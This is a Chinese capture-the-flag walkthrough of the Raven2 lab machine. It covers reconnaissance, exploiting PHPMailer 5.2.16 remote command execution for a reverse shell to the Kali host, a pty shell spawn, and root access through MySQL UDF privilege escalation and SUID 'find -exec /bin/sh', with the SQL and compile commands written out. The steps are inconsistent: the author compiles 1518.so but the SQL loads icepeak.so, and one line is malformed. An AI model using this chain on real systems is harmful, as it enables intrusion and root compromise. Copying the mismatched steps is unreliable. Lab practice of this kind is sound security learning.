靶机为vulhub靶场中的Raven2
攻击机kali2021(192.168.61.128)
靶机Raven2(192.168.61.148)
1:信息收集(masscan+nmap)
masscan扫描内网存活主机(快)
nmap扫描端口开放情况
发现开放了22,80,111端口,操作系统为Linux
访问靶机80端口 利用插件查看中间件和指纹版本(语言为PHP)
目录扫描(dirb)发现靶机是wordpress建站(可以用wpscan扫描有没有wordpress漏洞)
此外还发现另外一个目录/vendor目录,访问目录发现存在目录遍历
翻看文件README.md文件得知为phpmailer,百度phpmailer知道是一个php发送邮件的程序,且版本小于5.2.18存在漏洞远程命令执行漏洞,查看当前version版本为5.2.16
这里我使用python脚本,复制脚本到桌面
编辑脚本
将target改为攻击目标记得加上/contact,否则无法反弹会话回来,backdoor为生成的后门文件,payload改为kali的ip和监听的端口,email那把路径改为目标机的网站根路径,可以在/vendor中查找到网站根目录(msf上也有脚本,但是我用的时候不能直接弹回会话)
然后直接python执行
这样就执行成功了,只需要访问后门地址就可以弹回shell
执行whoami发现为www-date权限
使用python执行交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
也可以写一句话用菜刀蚁剑连接方便操作
udf提权
使用蚁剑上传LinEnum.sh脚本进行提权信息收集
上传到tmp目录下
运行脚本发现有mysql数据库,且无法直接使用SUID提权
查找数据库配置文件(/var/www/html/wordpress/wp-config.php)
账号root,密码R3v3nSecurity
使用蚁剑登录mysql数据库,进行mysql udf提权
kali上搜索Linux udf提权脚本
将脚本文件在本地进行编译后上传到靶机的/tmp目录下
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o
将1518.so文件通过蚁剑上传到靶机/tmp目录下
进入数据库进行udf提权
use mysql; #进入数据库
create table foo(line blob); #创建数据表
foo insert into foo values(load_file('/tmp/icepeak.so')); #插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so'; #( Foo表成功插入二进制数据, 然后利用dumpfile函数把文件导出 outfile 多行导出,dumpfile一行导出 outfile会有特殊的转换,而dumpfile是原数据导出 新建存储函数)
create function do_system returns integer soname 'icepeak.so'; #(创建自定义函数do_system 类型是integer,别名 soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
使用 find / -user root -perm -4000 -print 2>/dev/null查看SUID提权
touch lsec(自定义名称)
find lsec -exec "whoami" \;
find lsec -exec "/bin/sh" \;
查看最终flag